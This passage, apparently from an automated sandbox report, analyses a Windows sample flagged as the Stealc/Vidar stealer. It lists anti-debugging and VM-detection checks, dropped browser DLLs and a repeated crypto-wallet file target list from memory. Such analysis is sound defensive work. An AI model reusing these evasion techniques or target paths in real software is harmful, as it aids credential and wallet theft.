dword ptr [ebp-08h], edx 0x00000053 jmp 00007F0160DEF328h 0x00000055 mov eax, dword ptr [ebp-08h] 0x00000058 mov esp, ebp 0x0000005a pop ebp 0x0000005b ret 0x0000005c mov esp, ebp 0x0000005e pop ebp 0x0000005f ret 0x00000060 push eax 0x00000061 lea edx, dword ptr [ebp-00000448h] 0x00000067 push edx 0x00000068 call 00007F01659A5EDCh 0x0000006d push 00000008h 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F0160DEF332h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70072 second address: 4E7009E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0160DBD2C1h 0x00000009 add al, FFFFFFD6h 0x0000000c jmp 00007F0160DBD2C1h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7009E second address: 4E700C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b call 00007F0160DEF338h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700C2 second address: 4E700D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, di 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edi, eax 0x0000000f mov eax, 4AB157EDh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700D7 second address: 4E70106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF333h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0160DEF335h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70106 second address: 4E7010C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7010C second address: 4E70110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe

Special instruction interceptor: First address: 58D9BE instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6584	Thread sleep time: -30015s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6600	Thread sleep time: -42021s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C64EBF0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2075402085.0000000000717000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: chrome.exe, 00000001.00000002.1923393420.00002F3404F28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: chrome.exe, 00000001.00000002.1923771663.00002F340501C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: chrome.exe, 00000001.00000002.1924340707.00002F3405134000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=99a4a4d1-a736-4a80-b263-3a8b6005b205/4
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: chrome.exe, 00000001.00000002.1924340707.00002F3405134000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=99a4a4d1-a736-4a80-b263-3a8b6005b205
Source: chrome.exe, 00000001.00000002.1924340707.00002F3405134000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=99a4a4d1-a736-4a80-b263-3a8b6005b205
Source: file.exe, 00000000.00000002.2076174463.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: chrome.exe, 00000001.00000002.1904608323.000002C7073F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: chrome.exe, 00000001.00000002.1924340707.00002F3405134000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=99a4a4d1-a736-4a80-b263-3a8b6005b205/4
Source: file.exe, 00000000.00000002.2075402085.0000000000717000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2076174463.00000000010F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: file.exe, 00000000.00000002.2076174463.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6456, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C764760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C764760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C641C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C641C30

Source: file.exe, file.exe, 00000000.00000002.2075402085.0000000000717000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: UbProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AE71 cpuid

0_2_6C71AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C71A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C668390 NSS_GetVersion,

0_2_6C668390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2076174463.00000000010AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2074918053.00000000002A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1723219134.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6456, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6456, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2074918053.000000000050E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 